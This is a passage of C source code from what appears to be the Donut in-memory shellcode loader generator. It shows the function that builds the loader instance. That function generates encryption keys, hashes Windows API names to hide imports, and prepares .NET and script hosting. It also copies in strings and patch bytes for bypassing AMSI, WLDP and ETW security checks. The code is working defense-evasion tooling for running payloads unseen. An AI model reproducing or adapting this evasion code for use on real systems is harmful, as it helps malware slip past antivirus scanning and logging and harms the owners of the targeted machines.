inst_len += c->mod_len;
}
DPRINT("Total length of instance : %"PRIi32, inst_len);
// allocate zero-initialized memory for instance
inst = (PDONUT_INSTANCE)calloc(inst_len, 1);
// Memory allocation failed? exit
if(inst == NULL) {
DPRINT("Memory allocation failed");
return DONUT_ERROR_NO_MEMORY;
}
// set the length of instance and pointer to it in configuration
c->inst = inst;
c->inst_len = inst->len = inst_len;
// set the type of instance we're creating
inst->type = c->inst_type;
// indicate if we should call RtlExitUserProcess to terminate host process
inst->exit_opt = c->exit_opt;
// set the Original Entry Point
inst->oep = c->oep;
// set the entropy level
inst->entropy = c->entropy;
// set the bypass level
inst->bypass = c->bypass;
// set the headers level
inst->headers = c->headers;
// set the module length
inst->mod_len = c->mod_len;
// encryption enabled?
if(c->entropy == DONUT_ENTROPY_DEFAULT) {
DPRINT("Generating random key for instance");
if(!gen_random(&inst_key, sizeof(DONUT_CRYPT))) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
// copy local key to configuration
memcpy(&inst->key, &inst_key, sizeof(DONUT_CRYPT));
DPRINT("Generating random key for module");
if(!gen_random(&mod_key, sizeof(DONUT_CRYPT))) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
// copy local key to configuration
memcpy(&inst->mod_key, &mod_key, sizeof(DONUT_CRYPT));
DPRINT("Generating random string to verify decryption");
if(!gen_random_string(inst->sig, DONUT_SIG_LEN)) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
DPRINT("Generating random IV for Maru hash");
if(!gen_random(&inst->iv, MARU_IV_LEN)) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
}
DPRINT("Generating hashes for API using IV: %" PRIX64, inst->iv);
for(cnt=0; api_imports[cnt].module != NULL; cnt++) {
// calculate hash for DLL string
dll_hash = maru(api_imports[cnt].module, inst->iv);
// calculate hash for API string.
// xor with DLL hash and store in instance
inst->api.hash[cnt] = maru(api_imports[cnt].name, inst->iv) ^ dll_hash;
DPRINT("Hash for %-15s : %-22s = %016" PRIX64,
api_imports[cnt].module,
api_imports[cnt].name,
inst->api.hash[cnt]);
}
DPRINT("Setting number of API to %" PRIi32, cnt);
inst->api_cnt = cnt;
DPRINT("Setting DLL names to %s", DLL_NAMES);
strcpy(inst->dll_names, DLL_NAMES);
// if module is .NET assembly
if(c->mod_type == DONUT_MODULE_NET_DLL ||
c->mod_type == DONUT_MODULE_NET_EXE)
{
DPRINT("Copying GUID structures and DLL strings for loading .NET assemblies");
memcpy(&inst->xIID_AppDomain, &xIID_AppDomain, sizeof(GUID));
memcpy(&inst->xIID_ICLRMetaHost, &xIID_ICLRMetaHost, sizeof(GUID));
memcpy(&inst->xCLSID_CLRMetaHost, &xCLSID_CLRMetaHost, sizeof(GUID));
memcpy(&inst->xIID_ICLRRuntimeInfo, &xIID_ICLRRuntimeInfo, sizeof(GUID));
memcpy(&inst->xIID_ICorRuntimeHost, &xIID_ICorRuntimeHost, sizeof(GUID));
memcpy(&inst->xCLSID_CorRuntimeHost, &xCLSID_CorRuntimeHost, sizeof(GUID));
} else
// if module is VBS or JS
if(c->mod_type == DONUT_MODULE_VBS ||
c->mod_type == DONUT_MODULE_JS)
{
DPRINT("Copying GUID structures and DLL strings for loading VBS/JS");
memcpy(&inst->xIID_IUnknown, &xIID_IUnknown, sizeof(GUID));
memcpy(&inst->xIID_IDispatch, &xIID_IDispatch, sizeof(GUID));
memcpy(&inst->xIID_IHost, &xIID_IHost, sizeof(GUID));
memcpy(&inst->xIID_IActiveScript, &xIID_IActiveScript, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptSite, &xIID_IActiveScriptSite, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptSiteWindow, &xIID_IActiveScriptSiteWindow, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptParse32, &xIID_IActiveScriptParse32, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptParse64, &xIID_IActiveScriptParse64, sizeof(GUID));
strcpy(inst->wscript, "WScript");
strcpy(inst->wscript_exe, "wscript.exe");
if(c->mod_type == DONUT_MODULE_VBS) {
memcpy(&inst->xCLSID_ScriptLanguage, &xCLSID_VBScript, sizeof(GUID));
} else {
memcpy(&inst->xCLSID_ScriptLanguage, &xCLSID_JScript, sizeof(GUID));
}
}
// if bypassing enabled, copy these strings over
if(c->bypass != DONUT_BYPASS_NONE) {
DPRINT("Copying strings required to bypass AMSI");
strcpy(inst->clr, "clr");
strcpy(inst->amsi, "amsi");
strcpy(inst->amsiInit, "AmsiInitialize");
strcpy(inst->amsiScanBuf, "AmsiScanBuffer");
strcpy(inst->amsiScanStr, "AmsiScanString");
DPRINT("Copying strings required to bypass WLDP");
strcpy(inst->wldp, "wldp");
strcpy(inst->wldpQuery, "WldpQueryDynamicCodeTrust");
strcpy(inst->wldpIsApproved, "WldpIsClassInApprovedList");
DPRINT("Copying strings required to bypass ETW");
strcpy(inst->ntdll, "ntdll");
strcpy(inst->etwEventWrite, "EtwEventWrite");
strcpy(inst->etwEventUnregister, "EtwEventUnregister");
strcpy(inst->etwRet64, "\xc3");
strcpy(inst->etwRet32, "\xc2\x14\x00\x00");
}
// if module is an unmanaged EXE
if(c->mod_type == DONUT_MODULE_EXE) {
// does the user specify parameters for the command line?
if(c->args[0] != 0) {
DPRINT("Copying strings required to replace command line.");
strcpy(inst->dataname, ".data");
strcpy(inst->kernelbase, "kernelbase");
strcpy(inst->cmd_syms, "_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv");
}
// does user want loader to run the entrypoint as a thread?
if(c->thread != 0) {
DPRINT("Copying strings required to intercept exit-related API");
// these exit-related API will be replaced with pointer to RtlExitUserThread